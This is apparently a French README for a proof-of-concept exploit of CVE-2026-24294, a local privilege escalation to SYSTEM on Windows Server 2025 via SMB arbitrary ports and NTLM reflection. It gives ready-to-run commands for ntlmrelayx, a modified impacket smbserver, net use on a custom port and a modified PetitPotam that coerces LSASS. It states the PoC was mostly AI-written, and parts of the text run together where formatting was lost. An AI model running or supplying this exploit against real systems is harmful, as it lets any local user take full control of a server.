
PoC d'élévation de privilèges locale pour CVE-2026-24294, abusant du port arbitraire SMB et de la réflexion NTLM pour obtenir SYSTEM sur Windows Server 2025.
Élévation de privilèges locale sur Windows Server 2025 via la réflexion NTLM, abusant de la fonctionnalité de port SMB arbitraire introduite dans Windows 11 24H2 / Server 2025.
Windows 11 24H2 / Server 2025 a introduit une fonctionnalité du client SMB qui permet des connexions sur des ports TCP arbitraires (net use \\host\share /tcpport:PORT). Combinée au multiplexage de sessions SMB (MS-SMB2 Section 3.2.4.2), cela permet une réflexion NTLM locale — un utilisateur à faibles privilèges peut contraindre un service privilégié (LSASS) à s'authentifier auprès d'un serveur SMB contrôlé par l'attaquant sur un port non standard, puis relayer l'authentification NTLM capturée vers le véritable service SMB sur le port 445.
Impact : NT AUTHORITY\SYSTEM depuis n'importe quel utilisateur local.
Systèmes concernés : Windows Server 2025 (configuration par défaut). Windows 11 24H2 impose la signature SMB, bloquant le relais.
LSASS (SYSTEM) ──NTLM──► Client SMB ──TCP:12345──► smbserver.py (le nôtre)
│
▼ relais du blob NTLM
Service SMB (:445) ◄────────────────── ntlmrelayx.py
← session SYSTEM
net use ouvre une connexion TCP vers notre serveur SMB sur un port personnalisé\\127.0.0.1\shareOuvrez 3 terminaux.
Terminal 1 — Démarrez ntlmrelayx (écoute sur le port RAW 6666, relaie vers le SMB local) :
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
Terminal 2 — Démarrez le smbserver modifié (écoute sur le port 12345, relaie NTLM vers le port 6666) :
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
Terminal 3 — Exécutez l'exploit :
:: Montez le partage sur un port personnalisé (ouvre une connexion TCP persistante)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: Contraignez LSASS à s'authentifier auprès de notre serveur SMB
PetitPotam.exe 127.0.0.1 localhost 2
La sortie whoami de ntlmrelayx affichera NT AUTHORITY\SYSTEM.
PetitPotam/ — Sources PetitPotam modifiées. Deux changements par rapport à l'original :
df1941c5-fe89-4e79-bf10-463657acf44d (interface EFSRPC WS2025)\pipe\efsrpcEfsRpcEncryptFileSrv), le nom du partage est codé en dur comme testsmbserver.py — smbserver impacket modifié avec l'option -relay-port. Intercepte SMB2 SESSION_SETUP pour capturer une seconde authentification NTLM sur une connexion multiplexée et la relayer vers un serveur de relais RAW (ntlmrelayx --raw-port).Cette preuve de concept a été principalement écrite par une IA (GLM 5.1) sur la base des recherches et techniques décrites dans :